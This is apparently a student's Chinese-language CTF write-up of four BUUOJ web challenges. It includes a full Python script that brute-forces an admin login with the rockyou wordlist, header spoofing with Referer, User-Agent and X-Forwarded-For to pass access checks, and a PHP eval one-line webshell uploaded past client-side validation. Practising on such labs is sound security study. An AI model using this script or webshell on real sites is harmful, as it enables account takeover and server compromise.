今天做三+1個web
題目:NSB_login
用戶名有admin,看源碼:
I like rockyou!今天學習到,kali里面有密碼爆破的文件叫rockyou.txt(/usr/share/wordlists/)(沒kali也可以去https://gitcode.com/Premium-Resources/754e5下載)。
按源碼備注提示,那就應該用這個字典進行爆破,burp也行,但佬說容易崩,所以在這用py腳本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import json
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry# 目標URL - 確認是否為正確的登錄處理地址
url = "http://34c06c2f-cdc1-46e7-bdb4-817ca697d251.node5.buuoj.cn:81/login.php"# 配置會話
session = requests.Session()
retry_strategy = Retry(total=3,backoff_factor=0.1,status_forcelist=[429, 500, 502, 503, 504]
)
adapter = HTTPAdapter(max_retries=retry_strategy, pool_connections=10, pool_maxsize=10)
session.mount("http://", adapter)
session.mount("https://", adapter)# 添加常見的請求頭,模擬瀏覽器行為
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Referer": url, # 添加來源頁,有些服務器會檢查"Connection": "keep-alive"
}# 先獲取登錄頁面,可能需要獲取cookie
try:session.get(url, headers=headers, timeout=5)
except Exception as e:print(f"獲取登錄頁面失敗: {str(e)}")with open('D:\\rockyou.txt', 'r', encoding='utf-8', errors='ignore') as f:i = 0for line in f:password = line.strip()if not password:continuedata = {'email': 'admin','password': password,'remember_me': 0}try:# 發送POST請求response = session.post(url, data=data, headers=headers, timeout=5)response.encoding = 'utf-8'# 每500個密碼打印一次狀態if i % 500 == 0:print(f"已嘗試 {i} 個密碼,當前嘗試: {password} (狀態碼: {response.status_code})")# 檢查狀態碼if response.status_code == 405:print(f"\n服務器拒絕請求 (405),可能需要修改請求方式或URL")print(f"響應內容: {response.text[:500]}")break# 檢查是否是成功的響應if response.status_code == 200:# 解析響應try:result = json.loads(response.text)# 根據返回的消息判斷if result.get('ret') == 0 and "密碼錯誤" in result['data'].get('msg', ''):# 密碼錯誤,繼續嘗試passelse:# 可能是成功的情況print(f"\n找到正確密碼! 第{i}個嘗試: {password}")print(f"響應內容: {result}")breakexcept json.JSONDecodeError:# 非JSON響應,檢查是否包含密碼錯誤if "密碼錯誤" not in response.text:print(f"\n找到正確密碼! 第{i}個嘗試: {password}")print(f"響應內容: {response.text[:500]}")breakelse:# 其他狀態碼,可能是成功print(f"\n找到正確密碼! 第{i}個嘗試: {password} (狀態碼: {response.status_code})")print(f"響應內容: {response.text[:500]}")breaki += 1except Exception as e:print(f"\n請求出錯: {str(e)},當前密碼: {password}")continueelse:print(f"已嘗試所有密碼({i}個),未找到正確密碼")
記得修改上面的url和你真實rockyou.txt的位置。跑了許久(他會報錯的,報錯后過一會就會跳出Flag),得到:
題目:http
還挺長的一個網頁,看看源碼。
文件鏈接,點進去看看
說這不從"https://Sycsecret.buuoj.cn"來,打開burpsuite抓包修改重放下
Referer: https://Sycsecret.buuoj.cn
紅框里是新添加的,點擊放包看看效果:
那再修改,修改代理,把原先User-Agent修改為題目上述提示的Syclover browser
User-Agent:Syclover browser
得到
No!?說你只能本地看。那把改本地
X-Forwarded-For: 127.0.0.1
得到:
題目:[極客大挑戰 2019]Upload
題目如下,看前端源碼沒有可以注意的東西
我試著上傳一張圖片(背景.jpg),結果回顯:
搜尋資料,建議,先傳馬,一句話木馬:
GIF89a
<script language='php'>eval($_POST['shell']);</script>
寫入.txt里,將文件上傳,但上傳中用BP攔截修改文件
這樣就可以成功繞過前端的檢查,得到
后面根據這個馬,通過蟻劍進行連接。(下圖前面多了個http://,記得刪)連接地址是"url"/upload/shell.phtml
連接成功后,在根目錄找到了flag
點擊查看
題目:[ACTF2020 新生賽]Upload
題目如下
打開前端,看看源碼
依然是前端驗證
傳jpg然后BP改成一句話木馬,就可以用蟻劍連接了。和上一道([極客大挑戰 2019]Upload)一模一樣
flag還是在根目錄: